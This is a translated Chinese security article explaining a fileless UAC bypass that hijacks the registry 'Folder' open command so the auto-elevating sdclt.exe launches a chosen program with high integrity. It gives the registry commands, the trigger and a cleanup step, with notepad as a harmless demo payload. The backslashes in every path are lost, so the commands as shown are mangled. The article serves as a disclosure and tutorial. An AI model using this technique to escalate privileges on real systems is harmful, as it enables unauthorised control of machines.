1.原理

該方法和其他UAC繞過方法一樣,利用了某些會「自動提升許可權」的程序。這些程序會以高完整性級別運行,且不會觸發UAC窗口的警示窗口。用戶以中等許可權運行這些程序去載入DLL或執行命令,就可成功繞過UAC。

而此次繞過的關鍵就在於可執行文件sdclt.exe。Sdclt在Windows系統中的原本作用是備份和還原。你可以使用Windows SysInternals的SigCheck檢查它是否會自動提升許可權:

sigcheck.exe -m C:WindowsSystem32sdclt.exe | findstr autoElevate

<autoElevate xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>

注意:已經有幾種濫用sdclt.exe繞過UAC的方法。你可以在Matt Nelson的博客上看到:

enigma0x3.net/2017/03/1

enigma0x3.net/2017/03/1

我此次說明的這種新方法是無文件,基於COM劫持的。

當以中等許可權調用sdclt.exe時,會發生的一些有趣事件:

  • 它以高許可權運行另一個sdclt.exe進程
  • 高許可權的sdclt進程會調用C:WindowsSystem32control.exe
  • control.exe進程以高許可權運行,並且…

使用Sysinternals Procmon,我們可以看到control.exe無法在當前用戶註冊表(HKCU)中找到「文件夾」對象的打開命令。

但是!因為我的UAC繞過方法不需要寫入,所以我們可以讓這個高許可權的進程去運行命令,即使我們只有中等級別的許可權。

2.開始繞過

您可以使用一些命令測試一下這個方法。

先設置註冊表:

reg add "HKCUSoftwareClassesFoldershellopencommand" /d "cmd.exe /c notepad.exe" /f && reg add HKCUSoftwareClassesFoldershellopencommand /v "DelegateExecute" /f

開始繞過:

%windir%system32sdclt.exe

這時,你就可以看到以高許可權運行的notepad.exe。

最後不要忘記用以下方法清理註冊表:

reg delete "HKCUSoftwareClassesFoldershellopencommand" /f

謝謝觀看!

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:使用 sdclt 繞過 UAC 的新方法

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章